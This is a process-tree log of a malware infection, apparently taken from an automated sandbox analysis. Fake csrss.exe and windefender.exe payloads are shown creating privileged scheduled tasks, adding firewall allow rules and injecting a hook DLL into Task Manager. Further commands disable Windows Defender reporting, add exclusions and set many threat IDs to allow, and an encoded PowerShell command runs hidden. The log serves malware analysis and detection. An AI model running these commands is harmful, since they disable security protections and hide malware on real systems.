C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"5⤵PID:6024
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes6⤵
- Modifies Windows Firewall
PID:6072
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile5⤵PID:916
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile5⤵PID:6004
-
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe5⤵PID:4972
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵PID:5916
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F6⤵
- Creates scheduled task(s)
PID:5260
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵PID:5668
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /delete /tn ScheduledUpdate /f6⤵PID:5800
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile6⤵PID:5420
-
-
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exeC:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll6⤵PID:4424
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F6⤵
- Creates scheduled task(s)
PID:1548
-
-
C:\Windows\windefender.exe"C:\Windows\windefender.exe"6⤵PID:3564
-
C:\Windows\SysWOW64\cmd.execmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)7⤵PID:5980
-
-
-
-
-
-
C:\Users\Admin\Pictures\YVOCFR0hTvMU7W9trUbIFHGq.exe"C:\Users\Admin\Pictures\YVOCFR0hTvMU7W9trUbIFHGq.exe" PeJj3z5KgQO+REOMHfxRWZMfrERTkhHmRUWETPcQX9Iwim5oqDrINyf9NcQnEA==3⤵
- Executes dropped EXE
PID:1504
-
-
C:\Users\Admin\Pictures\89njvTzyDbaCJr8QbkUCJUri.exe"C:\Users\Admin\Pictures\89njvTzyDbaCJr8QbkUCJUri.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:5004 -
C:\Users\Admin\AppData\Local\Temp\BroomSetup.exeC:\Users\Admin\AppData\Local\Temp\BroomSetup.exe4⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:976 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Temp\Task.bat" "5⤵
- Suspicious use of WriteProcessMemory
PID:2060
-
-
-
C:\Users\Admin\AppData\Local\Temp\nsbE215.tmpC:\Users\Admin\AppData\Local\Temp\nsbE215.tmp4⤵
- Executes dropped EXE
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
PID:4172 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\Temp\nsbE215.tmp" & del "C:\ProgramData\*.dll"" & exit5⤵PID:5596
-
C:\Windows\SysWOW64\timeout.exetimeout /t 56⤵
- Delays execution with timeout.exe
PID:6100
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4172 -s 34165⤵
- Program crash
PID:2120
-
-
-
-
C:\Users\Admin\Pictures\iBgxtzmI6EVeizkD8LA9mHQL.exe"C:\Users\Admin\Pictures\iBgxtzmI6EVeizkD8LA9mHQL.exe"3⤵
- Executes dropped EXE
PID:4736
-
-
C:\Users\Admin\Pictures\EZU6WXBBGzSK2p48DGqry3Dd.exe"C:\Users\Admin\Pictures\EZU6WXBBGzSK2p48DGqry3Dd.exe"3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2516 -
C:\Users\Admin\AppData\Local\Temp\7zSD949.tmp\Install.exe.\Install.exe4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2392 -
C:\Users\Admin\AppData\Local\Temp\7zSDC37.tmp\Install.exe.\Install.exe /LzfYdidLoSR "385118" /S5⤵
- Checks BIOS information in registry
- Checks computer location settings
- Executes dropped EXE
- Drops file in System32 directory
- Enumerates system info in registry
- Suspicious use of WriteProcessMemory
PID:4804 -
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"6⤵PID:880
-
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&7⤵PID:1784
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:328⤵PID:2596
-
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:648⤵PID:4004
-
-
-
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"6⤵PID:4500
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DufnooWHNFUn" /t REG_DWORD /d 0 /reg:327⤵PID:5864
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "ggQPsJOUl" /SC once /ST 15:03:32 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="6⤵
- Creates scheduled task(s)
PID:5612
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "ggQPsJOUl"6⤵PID:5764
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "ggQPsJOUl"6⤵PID:5860
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "bmfUAJAHieefCXsdaD" /SC once /ST 19:09:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\mrTyqNDBdkhwJTRHw\nfxPIWAHevJCnXs\rwqONMa.exe\" hp /iwsite_idWWz 385118 /S" /V1 /F6⤵
- Creates scheduled task(s)
PID:1632
-
-
-
-
-
C:\Users\Admin\Pictures\xvofXBg2KSpOqy7HjpT4bDAK.exe"C:\Users\Admin\Pictures\xvofXBg2KSpOqy7HjpT4bDAK.exe" --silent --allusers=03⤵
- Executes dropped EXE
- Loads dropped DLL
- Enumerates connected drives
PID:3456 -
C:\Users\Admin\Pictures\xvofXBg2KSpOqy7HjpT4bDAK.exeC:\Users\Admin\Pictures\xvofXBg2KSpOqy7HjpT4bDAK.exe --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=106.0.4998.66 --initial-client-data=0x2bc,0x2e4,0x2e8,0x2c0,0x2ec,0x708d9558,0x708d9564,0x708d95704⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2888
-
-
C:\Users\Admin\Pictures\xvofXBg2KSpOqy7HjpT4bDAK.exe"C:\Users\Admin\Pictures\xvofXBg2KSpOqy7HjpT4bDAK.exe" --backend --install --import-browser-data=0 --enable-stats=1 --enable-installer-stats=1 --consent-given=0 --general-interests=0 --general-location=0 --personalized-content=0 --personalized-ads=0 --launchopera=1 --installfolder="C:\Users\Admin\AppData\Local\Programs\Opera" --profile-folder --language=en --singleprofile=0 --copyonly=0 --allusers=0 --setdefaultbrowser=1 --pintotaskbar=1 --pintostartmenu=1 --run-at-startup=1 --show-intro-overlay --server-tracking-data=server_tracking_data --initial-pid=3456 --package-dir-prefix="C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_20240126190744" --session-guid=2f407672-e065-4e92-9817-ab7f8d3467dd --server-tracking-blob=MzFhODNmNzYzOTgyNDU2NmM1ZDI4NDY2NjYwZWFjZGQ0NGVmNjRiYjgzNTgwYzc5ODMzOTA0N2Q3M2E5ZmE3ZTp7ImNvdW50cnkiOiJHQiIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFTZXR1cC5leGUiLCJwcm9kdWN0Ijp7Im5hbWUiOiJvcGVyYSJ9LCJxdWVyeSI6Ii9vcGVyYS9zdGFibGUvd2luZG93cy8/dXRtX21lZGl1bT1hcGImdXRtX3NvdXJjZT1ta3QmdXRtX2NhbXBhaWduPTc2NyIsInN5c3RlbSI6eyJwbGF0Zm9ybSI6eyJhcmNoIjoieDg2XzY0Iiwib3BzeXMiOiJXaW5kb3dzIiwib3BzeXMtdmVyc2lvbiI6IjEwIiwicGFja2FnZSI6IkVYRSJ9fSwidGltZXN0YW1wIjoiMTcwNjI5NjA1MS4yMTE0IiwidXRtIjp7ImNhbXBhaWduIjoiNzY3IiwibWVkaXVtIjoiYXBiIiwic291cmNlIjoibWt0In0sInV1aWQiOiIwZjhiY2IxMS0zOWFhLTRiODctYTY3ZC03NjcyMGRkODY4NjgifQ== --silent --desktopshortcut=1 --wait-for-package --initial-proc-handle=08050000000000004⤵
- Executes dropped EXE
- Loads dropped DLL
- Enumerates connected drives
PID:3576 -
C:\Users\Admin\Pictures\xvofXBg2KSpOqy7HjpT4bDAK.exeC:\Users\Admin\Pictures\xvofXBg2KSpOqy7HjpT4bDAK.exe --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=106.0.4998.66 --initial-client-data=0x2ec,0x2f0,0x2f4,0x2c0,0x2f8,0x6dd49558,0x6dd49564,0x6dd495705⤵
- Executes dropped EXE
- Loads dropped DLL
PID:3608
-
-
-
C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\xvofXBg2KSpOqy7HjpT4bDAK.exe"C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\xvofXBg2KSpOqy7HjpT4bDAK.exe" --version4⤵PID:2120
-
-
C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202401261907441\assistant\Assistant_106.0.4998.16_Setup.exe_sfx.exe"C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202401261907441\assistant\Assistant_106.0.4998.16_Setup.exe_sfx.exe"4⤵PID:5328
-
-
C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202401261907441\assistant\assistant_installer.exe"C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202401261907441\assistant\assistant_installer.exe" --version4⤵PID:5520
-
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "MalayamaraUpdate" /tr "'C:\Users\Admin\AppData\Local\Temp\Updater.exe'" /sc minute /mo 30 /F1⤵
- Creates scheduled task(s)
PID:2096
-
C:\Windows\SysWOW64\chcp.comchcp 12511⤵PID:1912
-
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&1⤵PID:1124
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:322⤵PID:4968
-
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:642⤵PID:3248
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==1⤵PID:5824
-
C:\Windows\system32\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force2⤵PID:3248
-
-
C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202401261907441\assistant\assistant_installer.exe"C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202401261907441\assistant\assistant_installer.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=106.0.4998.16 --initial-client-data=0x268,0x26c,0x270,0x244,0x274,0x1072614,0x1072620,0x107262c1⤵PID:5636
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 4172 -ip 41721⤵PID:5712
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum1⤵PID:3156
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc1⤵PID:6140
-
C:\Windows\system32\gpscript.exegpscript.exe /RefreshSystemParam1⤵PID:3956
-
C:\Windows\SysWOW64\sc.exesc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)1⤵
- Launches sc.exe
PID:4184
-
C:\Windows\windefender.exeC:\Windows\windefender.exe1⤵PID:5532
-
C:\Users\Admin\AppData\Local\Temp\mrTyqNDBdkhwJTRHw\nfxPIWAHevJCnXs\rwqONMa.exeC:\Users\Admin\AppData\Local\Temp\mrTyqNDBdkhwJTRHw\nfxPIWAHevJCnXs\rwqONMa.exe hp /iwsite_idWWz 385118 /S1⤵PID:5808
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"2⤵PID:6120
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:323⤵PID:5216
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:324⤵PID:3656
-
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:643⤵PID:6036
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:643⤵PID:5764
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:323⤵PID:5564
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:323⤵PID:5516
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:323⤵PID:2180
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:323⤵PID:5336
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:643⤵PID:2828
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:643⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5492
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:643⤵PID:824
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:323⤵PID:5740
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:643⤵PID:2316
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:323⤵PID:5356
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:323⤵PID:5628
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:323⤵PID:4604
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:643⤵PID:5504
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:643⤵PID:2672
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:643⤵PID:5284
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:643⤵PID:5840
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:643⤵PID:4704
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:323⤵PID:5768
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:323⤵PID:5728
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:643⤵PID:5784
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:323⤵PID:5264
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:643⤵PID:4596
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:323⤵PID:5968
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:323⤵PID:1184
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:643⤵PID:2720
-
-
-
